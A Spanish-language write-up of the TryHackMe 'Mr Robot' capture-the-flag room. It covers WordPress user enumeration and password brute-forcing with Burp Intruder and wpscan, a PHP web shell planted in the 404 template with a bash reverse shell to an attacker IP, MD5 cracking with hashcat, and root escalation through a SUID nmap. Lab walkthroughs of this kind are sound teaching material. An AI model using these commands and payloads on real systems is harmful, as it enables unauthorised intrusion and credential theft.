# Mr Robot CTF

¡Hola!

En este *writeup* vamos a resolver la máquina Mr Robot CTF de TryHackMe, una máquina de nivel de dificultad **medio**. La podéis encontrar en el siguiente enlace:

{% embed url="<https://tryhackme.com/room/mrrobot>" %}

### Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un **ping**:

```
ping -c 1 <IP_máquina>
```

Y para empezar lanzamos nmap para detectar puertos abiertos y la versión y servicios que corren sobre ellos. Además, vamos a exportar la captura de nmap para poder consultarla más adelante si hiciera falta:

```
nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>
```

Nos encontramos con los siguientes resultados:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FldUQO03SrSyFUySXoo9s%2Fimagen.png?alt=media\&token=11403066-8cf7-41ab-89b6-a9d8c120ffca)

Tenemos **http** y **https** activos en el servidor, si echamos un vistazo a ambas versiones de la web nos encontramos con el mismo contenido. Se trata de una web en la que podemos interactuar con un menú pero que si echamos un vistazo a su código fuente se trata de puro código javascript que reproduce diferentes contenidos multimedia según la opción que elijamos:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FXB9qdVUuAxlV7UkxjSZp%2Fimagen.png?alt=media\&token=e0b9e63a-4a18-4cab-a1f6-bac1fb6d5276)

Lanzamos el script http-enum de nmap para intentar descubrir rutas alternativas/ocultas:

```
nmap --script=http-enum.nse -p80 <IP>
```

Y obtenemos interesantes resultados:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F8tueos4p4b08hKTuuCTv%2Fimagen.png?alt=media\&token=142b3191-0e22-4c7e-9ab9-90fd6db6822c)

Parece bastante obvio que nos encontramos ante un **Wordpress**. Si visualizamos el archivo **robots.txt** descubrimos un archivo `.dic`. Si descargamos este archivo en nuestra máquina y echamos un vistazo a su contenido nos encontramos lo que podría ser un diccionario de 858160 palabras:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F7E3dN2VKl5Si74GpkH0l%2Fimagen.png?alt=media\&token=7d4c6e4b-b1d2-4d51-99c6-ee19d1b83289)

Como se trata de un diccionario que no conocemos y con el objetivo de poder utilizarlo para hacer fuerza bruta más adelante vamos a optimizarlo eliminando posibles entradas duplicadas con el siguiente comando:

```
sort fsocity.dic | uniq > optimized_fsocity.dic
```

¡Con este simple comando habremos reducido el diccionario a solo 11451 líneas!

Además del diccionario también nos encontramos un arhivo `.txt` que contiene la primera flag:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FzsvCtEU8MlJsYRm0vVN2%2Fimagen.png?alt=media\&token=eded7f76-b4d7-4931-ada5-fde6c9e8cb0c)

Vamos a por el panel de inicio de sesión de Wordpress que se encuentra bajo la ruta `/wp-login`. Como Wordpress nos reporta a través de un mensaje de error en caso que el usuario no exista en la base de datos vamos a aprovecharnos de este mensaje para, atendiendo a la longitud del mensaje de respuesta, enumerar usuarios válidos usando el diccionario que descubrimos anteriormente y la herramienta **Intruder** de **Burp Suite**.

Primero interceptamos al petición con el proxy de Burp Suite:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fz3BnK8L3x9RnUV1xDxQ1%2Fimagen.png?alt=media\&token=c4cf51c8-687a-41ca-9cba-da7acb44a62b)

Madamos esta petición al Intruder y definimos el campo sobre el que ejecutar nuestro ataque:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FQCho3gKoQ1KK07wJL9yw%2Fimagen.png?alt=media\&token=172b2a39-28f2-4d65-adc5-0ce5807f5652)

Nos dirigimos a la pestaña Payloads y cargamos nuestro diccionario optimizado:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FGMv1fYI4AIcJm0Plv1Ie%2Fimagen.png?alt=media\&token=c429f91f-88d7-4a5b-8850-69db20b5e9c4)

Finalmente pulsamos sobre *Start Attack*.&#x20;

Este proceso puede tardar una eternidad si tenemos la versión gratuita de Burp Suite y desde mi humilde opinión en CTFs no tiene sentido incluir este tipo de procesos así que te adelanto que el usuario válido es el nombre del protagonista de la serie: **Elliot**, no seré yo quien te juzgue si lo usas sin esperar a que termine el ataque de Burp Suite **😉**

Una vez tengamos un usuario válido la forma más rápida de descubrir la contraseña de usuario es utilizando la herramienta **wpscan** con el siguiente comando:

```
wpscan --url http://<IP>/ -U Elliot -P optimized_fsocity.dic
```

Y finalmente obtenemos credenciales válidas de inicio de sesión:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F7hrzKICpFiyzwZjjaKVT%2FScreenshot_2\(1\).png?alt=media\&token=f9c85b0f-fc50-417f-b5af-8277b5651c51)

### Explotación

Ya podemos acceder al panel de control de Wordpress así que ahora nuestro objetivo es acceder al propio servidor. Para ello vamos a cambiar el comportamiento de la web al mostrar el error '404 - Página no encontrada' haciendo que se ejecute nuestro código malicioso cuando el sistema ejecute el archivo `.php` que muestra dicho mensaje.

Nos dirigimos a `Appearance/Editor/`:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FhSk8Z8Vpd3RLdWqaIu4Q%2Fimagen.png?alt=media\&token=51971fb3-98e4-4cd9-ad05-8419885bc64e)

Y haciendo click sobre *404 Template* se nos mostrará el contenido del código:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2Fc24zQ8IpURAy6DlXO5yO%2Fimagen.png?alt=media\&token=efa4d432-1307-4614-ae95-8efba580ba25)

Sustuímos el código original por el código de nuestra webshell y hacemos click sobre *Update file*:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F6cLg6InO0gCb6oYErES8%2Fimagen.png?alt=media\&token=f4ecc6e7-7b0e-4c59-9c97-f21a1bb17ee7)

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_Atacante>/<PUERTO> 0>&1'");
```

Esto va a hacer que cada vez que la web intente acceder a un recurso que no existe se ejecute nuestro código malicioso y nos envíe una reverse shell a nuestra IP de atacante.

Ponemos netcat en escucha:

```
nc -lvp <Puerto>
```

Y accedemos a una dirección URL que no exista, por ejemplo:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F2zuwpL5Sx3fefjUbM5qh%2Fimagen.png?alt=media\&token=ac584cc4-d636-42b7-b136-b043adb13579)

¡Y ya tenemos shell en nuestro equipo de atacante!

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FlQeJwE43GzwIj6JuA3tC%2Fimagen.png?alt=media\&token=d2738c80-67e0-45cf-8499-6c70e3494323)

Si exploramos un poco el sistema podemos encontrar bajo el directorio de usuario `/home/robot/` dos archivos interesantes, el primero es la segunda flag y el segundo parece contener unas credenciales codificadas en MD5:

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2F6IiSgYyza3mpdOloJK0y%2Fimagen.png?alt=media\&token=32f55550-f817-47ae-a3f0-c8c93f5c65e4)

Para decodificar el hash que corresponde a la contraseña vamos a crear un archivo en nuestra máquina que contenga la cadena completa:

```
echo "c3fcd3d76192e4007dfb496cca67e13b" > robot_creds
```

Y utilizamos la herramienta **hashcat** junto a un diccionario para decodificarla:

```
hashcat robot_creds /usr/share/wordlists/rockyou.txt
```

Si intentamos iniciar sesión como el usuario *robot* desde la shell que tenemos actualmente se nos mostrará el mensaje de error: "su: must be run from a terminal" así que vamos a lanzar una terminal con Python para poder ejecutar el comando **su**:

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

Ahora sí, iniciamos sesión con el usuario robot y la contraseña que acabamos de decodificar.

```
su robot
```

### Escalada de privilegios

Ya que hemos iniciado sesión con este usuario podemos realizar un tratamiento de la TTY para lanzar una shell completamente interactiva y poder movernos con soltura por el sistema, en el siguiente enlace encontrarás como hacerlo:

{% embed url="<https://hack.hvbr1d.com/post-explotacion/linux#tratamiento-de-la-tty>" %}
Tratamiento de la TTY
{% endembed %}

Lanzamos el siguiente comando para obtener una lista de los binarios con permisos **suid**:

```
find / -perm -u=s -type f 2>/dev/null
```

![](https://2774506079-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGz5c7o5uHk00R3RpcW5l%2Fuploads%2FZ3t0mCkg874bQcMdl4If%2Fimagen.png?alt=media\&token=8c87eff9-510f-4548-a8db-3d70d98b616a)

Llama la atención especialmente el binario **nmap** ya que no es típico que este binario posea este tipo de permisos.

Una siemple búsqueda en Google nos lleva a [este artículo](https://pentestlab.blog/2017/09/25/suid-executables/), el cual nos da los comandos a ejecutar para realizar la escalada de privilegios aprovechándonos de este fallo de seguridad:

```
nmap --interactive # Lanza nmap en modo interactivo
!sh # Lanza un shell bajo el usuario root desde el propio nmap
```

Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta `/root/`.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ <https://www.linkedin.com/in/david-rodriguez-ramos/>\
▶️ YouTube ⮞ <https://www.youtube.com/c/xerosec>\
🐦 Twitter ⮞ <https://twitter.com/xerosec>\
🔴 Twitch ⮞ [https://www.twitch.tv/xerosec](https://www.twitch.tv/xerosec/)  \
💬 Discord ⮞ <https://discord.gg/E4AjK2XsFm>

¡Gracias por llegar hasta aquí!
